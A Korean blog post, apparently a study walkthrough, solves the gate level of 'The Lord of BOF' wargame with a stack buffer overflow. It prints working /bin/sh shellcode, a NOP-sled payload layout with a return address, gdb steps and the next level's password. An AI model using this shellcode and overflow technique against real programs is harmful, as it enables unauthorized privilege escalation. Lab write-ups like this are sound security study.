저번 포스팅에서는 버퍼 오버플로우(BOF)에 대해 배웠다.
이번엔 The Lord of BOF라는 워게임을 통해 관리자의 권한을 획득하는 문제를 풀어보겠다.
문제 이름은 The Lord of BOF. gate에서 gremlin으로 통과하는 것이 목표이다.
BOF는 버퍼 오버플로우, 프로그래머가 지정한 버퍼의 크기가 넘쳐서 취약점이 발생하는 것이다.
gets()나 strcpy()는 경계검사가 없어 이런 취약점이 발생한다.
밑은 데이터 저장과 관련된 용어이다.
- ESP(Extended Stak Pointer)
: 현재 스택의 가장 위에 들어 있는 데이터를 가리키고 있는 포인터
- EBP(Extended Base Pointer)
: 현재 스택에 가장 바닥을 가리키는 포인터
- payload
: 전송되는 데이터를 지칭하는 말이다.
payload의 구조는 buf, sfp, ret(return address) 으로 이루어져 있는데 ret부분에서 공격코드가 있는 주소를 쓴다.
이러한 취약점을 공격하기 위해 다음 방법을 사용한다.
1. return to shell code
관리자의 권한을 취득하도록 하여 쉘코드가 담긴 위치의 주소를 ret에 넣어서 공격한다.
쉘 코드 앞뒤에 nop 명령어를 넣는다.
환경변수에 shell 코드를 삽입할 수도 있다.
strcpy함수가 사용된 bof 취약 프로그램이다.
앞서 말했던 것처럼 RET을 조작하여 권한을 얻어 보자.
260byte부터 Segmentation fault가 일어나는 것을 확인하였고, 260바이트의 더미 데이터를 넣고 ret을 조작할 수 있게 된다.
이렇게 ret공간에 접근하기 위해 260 byte의 더미 데이터를 넣어주고, ret의 버퍼 시작 주소를 찾아 넣어준다.
( 260 바이트인 이유는 payload의 구조에서 buf가 256바이트이고, stf가 4바이트이기 때문이다.)
쉘 코드는 다음과 같다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
// 여기서 \x31 이게 한바이트를 의미하므로 다음 쉘 코드는 24바이트이다.
`python -c 'print "a"* 260 + "bbbb"'`이렇게 입력해주면 (바이트 수를 채우기 위해 파이썬 코드를 이용한다. )
264바이트에 값이 채워진 걸 볼 수 있고, nop과 쉘을 합하여 260 바이트를 넣어줘야 하므로, nop을 총 236바이트, 쉘을 24바이트 넣어준다.
공격을 하기 전에는 dash2를 넣어 버그를 없애준다.
어셈블리어로 된 함수들을 보는 명령어가 disassemble이다. disas라고 써도 된다.
여기서 break point를 버퍼 오버플로우가 발생하는 지점에 잡는다.
명령어는 b * main+ 54와 같이 작성하고, d 1과 같이 작성해서 break point를 삭제해준다. (1은 break point number)
\xbf \xff \xf9 \x50 처럼 주소를 넣어 준다.
my-pass를 입력한 뒤 통과할 수 있는 코드를 얻어 통과!
다음 문제에서 login 아이디는 gremlin이고 비밀번호는 hello bof world가 되는 것이다.
nop(\x90) + shell code(24 byte) + nop(\x90) = 260 byte 이어야하므로
\x90 * 230 + shell code + \x90 * 6 + ret 다음과 같이 구성해보자.
cp gremlin gremlim을 입력해 gremlin 의 내용을 복사한 gremlim 파일을 만든다.
gdb gremlim을 생성하고 disas main을 입력하면 main함수가 디버깅 된다.
* GDB는 디버거이며, 프로그램 내부에서 무슨 일이 일어나는지 보여준다.
call 명령어를 위주로, breaking point를 잡는다. (버퍼 오버플로우가 발생한 지점에서 잡기!) call 다음 지점을 breaking point로 잡으면 된다.(ㅎ
(gdb) b * main+59
breakpoint 1 at main+59
x/100x $esp
// 이 코드를 통해 데이터의 스택을 확인할 수 있다.
260개의 범위값을 넣고 4바이트를 넣으면 ret의 조작이 가능하다.
(gdb) x/100x $esp 를 쳐보면 ret의 위치를 알 수 있다. 이제 gdb프로그램을 지우고 bash2를 친 다음, 주소값을 얻고 더미데이터 + 쉘코드 + 주소 값(4자리)를 입력하면 된다.
비밀번호 값이 원래 값이랑 다른 것 같아서 확인해보니 x99 라고 쓴거랑 x99뒤에 xc2를 안쓴것이 화근이었다. 다시 해보니 제대로 값이 출력되는 것을 볼 수 있었다.
아이디 : gremlin 비밀번호 : hello bof world
드디어 해결...................
'Other > System Hacking' 카테고리의 다른 글
포너블 스터디 2주차 강의 요약 및 과제 (0) | 2021.01.27 |
---|---|
포너블 스터디 1주차 자료 요약 및 과제 (0) | 2021.01.27 |